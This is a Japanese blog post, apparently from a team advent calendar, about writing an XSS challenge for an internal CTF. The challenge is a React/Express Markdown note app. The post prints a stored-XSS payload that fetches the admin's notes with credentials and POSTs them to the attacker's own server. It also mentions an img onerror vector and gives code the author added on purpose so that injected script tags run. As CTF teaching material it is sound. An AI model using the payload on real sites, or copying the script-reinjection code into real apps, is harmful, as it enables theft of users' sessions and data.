JavaScript
CTF
React
m1z0r3Day 8

チーム内CTFで作問した話 - XSS編

この記事は m1z0r3 Advent Calendar 2018 の8日目です。

前回 チーム内CTFで作問した話 - プロトタイプ汚染攻撃編 - Qiita という記事を書きましたが、その続きです。

問題の概要

出題した問題は、Qiita のように Markdown でメモが作成できる簡易 Web アプリケーションです。
FLAG が 2 つあり、1つ目の FLAG が簡単な XSS により手に入り、2つ目の FLAG がプロトタイプ汚染攻撃により手に入るようになっています。

SPA でできており、フロントエンドは React、サーバサイドは Express で書かれています。

image.png

ノートを投稿すると、Admin が投稿を確認しに来るというシンプルな設定です。また、FLAG は Admin が最初に投稿したノートに書かれています(当日は問題文にそのことが書いてありました)。

解答

普通にアプリケーション上のエディタで XSS を試しても <script> タグは使えません。

しかし、 Markdown の変換はクライアント側で行なっており、作成時にタイトルと Markdown の本文、Markdown をパースした HTML を送信しています。そして、作成されたノートでは、送信された HTML をそのまま表示しています。
したがって、 Burp suite でリクエストを書き換えるなり、 Postman 等で送信するなりすれば XSS は可能です。

あとは以下のような内容を POST すれば FLAG にたどり着けます。

<script>
  fetch('/api/notes', { credentials: 'include' })
    .then(r => r.text())
    .then(text => fetch('Your Server', { method: 'POST', body: text }))
</script>

ここから本題

ここまでの話は CTF ではよくある XSS の問題であり、難易度としても高くないと思います。

しかし、作問が終わって試した際にあることに気付きました。

「あれ、XSS できない!?」

この問題はクライアント側は React を使っており、SPA になっています。投稿したノートを見るとき( /notes/:uuid にアクセスしたとき)に以下の手順を踏みます。

  1. Express によって index.html が返される(それにより webpack により build された index.js が読み込まれる)
  2. index.js が実行され、 React が DOM を生成
  3. ノートの内容を取得するために axios で /api/notes/:uuid を叩く(その間は Loading ... が表示される)
  4. API の結果を元に再度 React がノートを描画する

まず、基本的に React の場合は操作するのが仮想 DOM であり、React が DOM を生成する際に自動で HTML エスケープしてくれる ため、XSS は起こりにくいです。しかし、これではデータベースの中に保存した(Markdown を変換した) HTML を表示することができません。

そこで、React では dangerouslySetInnerHTML というのを用いて HTML (の文字列)から DOM を生成します。ここで私は勘違いをしていて、てっきり <script> も実行されると思っていたのですが、 dangerouslySetInnerHTML で挿入した <script> は実行されません。1

どうやら MDN によると、 Element.innerHTML<script> を追加した場合には実行されないようです。ここでさらに勘違いをして、 実際には MDN のページにあるように <img src='x' onerror='alert(1)'> などで XSS できる のですが(なので dangerouslySetInnerHTML を使うときは XSS に注意)、XSS できないと思い込んでしまい四苦八苦します。

XSS させるためにした工夫

さて、実際には onerror 等で XSS は可能(つまり問題として成立済み)なのですが、気がついていなかったので、ノートの本文中の <script> を実行できるように頑張りました。

実は element.appendChild() を用いると <script> を実行することができます。
これを利用して、 API 経由で情報を取ってきた後に、ノートの本文の HTML 中の <script> をすべて探し出し、 appendChild で最後にまとめて追加しました。

const fragment: DocumentFragment = document.createDocumentFragment()

const mdBody = document.createElement('div')
mdBody.className = 'markdown-body'
mdBody.innerHTML = this.state.note!.body
fragment.appendChild(mdBody)

const scripts = mdBody.getElementsByTagName('script')
for (const script of Array.from(scripts)) {
  const element = document.createElement('script')
  element.type = 'text/javascript'
  element.async = true
  if (script.src) element.src = script.src
  element.innerHTML = script.innerHTML
  fragment.appendChild(element)
}

this.state.instance.appendChild(fragment)

これにより、無理やりですが、ノートに書かれた script を実行できるようになりました。